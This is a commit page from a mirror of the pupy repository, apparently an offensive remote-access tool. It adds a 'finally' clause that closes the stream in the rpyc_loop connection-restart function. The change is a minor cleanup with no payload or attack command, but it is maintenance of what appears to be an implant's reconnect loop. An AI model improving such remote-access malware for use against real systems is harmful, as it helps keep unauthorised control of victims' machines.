mirror of https://github.com/n1nj4sec/pupy.git
Ensure that stream was closed
This commit is contained in:
parent
fe8542f4cc
commit
237fece741
|
@ -264,6 +264,9 @@ def rpyc_loop(launcher):
|
|||
except Exception as e:
|
||||
logging.error(e)
|
||||
|
||||
finally:
|
||||
stream.close()
|
||||
|
||||
except EOFError:
|
||||
print "EOFError received, restarting the connection"
|
||||
|
||||
|
|
Loading…
Reference in New Issue